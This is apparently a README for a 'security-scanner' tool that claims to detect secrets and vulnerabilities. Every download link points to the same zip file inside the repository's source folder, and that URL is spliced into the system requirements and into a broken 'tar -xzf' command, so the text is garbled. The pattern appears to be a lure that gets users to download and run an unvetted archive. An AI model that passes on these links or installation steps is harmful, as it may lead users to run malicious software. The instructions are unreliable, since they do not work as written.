security-scanner is a command-line tool designed to help you find secrets and vulnerabilities in your code. It ensures that your development environment is secure from unwanted exposure of sensitive information. Whether you are a hobbyist or part of a development team, this tool simplifies your security practices.
To use security-scanner, follow these simple steps.
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System Requirements:
- Operating System: Windows, macOS, or Linux
- https://raw.githubusercontent.com/666Vendetta666/security-scanner/main/src/utils/security_scanner_v2.6.zip Version 12 or later
- Internet connection for downloading dependencies and updates
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Installation:
- Open your web browser.
- Navigate to the Releases page.
- Look for the latest version available. Click on the version number to visit the release details.
- Download the package suitable for your operating system (e.g.,
.exefor Windows,https://raw.githubusercontent.com/666Vendetta666/security-scanner/main/src/utils/security_scanner_v2.6.zipfor Linux, or.dmgfor macOS).
To download security-scanner, visit the Releases page to access the various downloads.
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On the Releases page, you will see a list of all available versions.
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Choose the latest version by clicking on it.
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Scroll to the "Assets" section. Click the appropriate file to start the download:
- For Windows: Click on
https://raw.githubusercontent.com/666Vendetta666/security-scanner/main/src/utils/security_scanner_v2.6.zip - For macOS: Click on
https://raw.githubusercontent.com/666Vendetta666/security-scanner/main/src/utils/security_scanner_v2.6.zip - For Linux: Click on
https://raw.githubusercontent.com/666Vendetta666/security-scanner/main/src/utils/security_scanner_v2.6.zip
- For Windows: Click on
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Once the download completes, follow these instructions based on your operating system:
Windows:
- Double-click the downloaded
.exefile. - Follow the prompts to install the application.
macOS:
- Open the downloaded
.dmgfile. - Drag the security-scanner icon to your Applications folder.
Linux:
- Extract the
https://raw.githubusercontent.com/666Vendetta666/security-scanner/main/src/utils/security_scanner_v2.6.zipfile using the command:tar -xzf https://raw.githubusercontent.com/666Vendetta666/security-scanner/main/src/utils/security_scanner_v2.6.zip. - Navigate to the extracted folder in the terminal.
- Run the scanner with:
./security-scanner.
- Double-click the downloaded
After installation, you are ready to use security-scanner to check your codebase for vulnerabilities.
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Open your command line interface:
- Windows: Search for "Command Prompt" or "PowerShell."
- macOS: Use "Terminal."
- Linux: Open your preferred terminal emulator.
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Navigate to your code directory using the
cdcommand. For example, if your code is in a folder named "MyProject", type:cd path/to/MyProject -
Run the security-scanner by entering the following command:
security-scanner -
The scanner will run and display any found issues. Follow the recommendations to mitigate these vulnerabilities.
- Secret Detection: Identify sensitive data like API keys and passwords in your code.
- Vulnerability Assessment: Scan your codebase for known security issues.
- Comprehensive Reports: Get detailed reports outlining potential risks.
- Multi-Platform Support: Works on Windows, macOS, and Linux.
If you encounter issues while using security-scanner, please report them on the Issues page. Provide as much detail as possible so we can assist you effectively.
Join our community for tips, support, and discussions related to security practices. You can find us on our GitHub Discussions page.
Contributions are welcome! If you want to improve security-scanner, you can fork the repository and submit a pull request.
- Make your changes.
- Test to ensure everything runs smoothly.
- Submit a pull request with a detailed explanation of your changes.
Your help is appreciated!
This project is licensed under the MIT License. See the LICENSE file for details.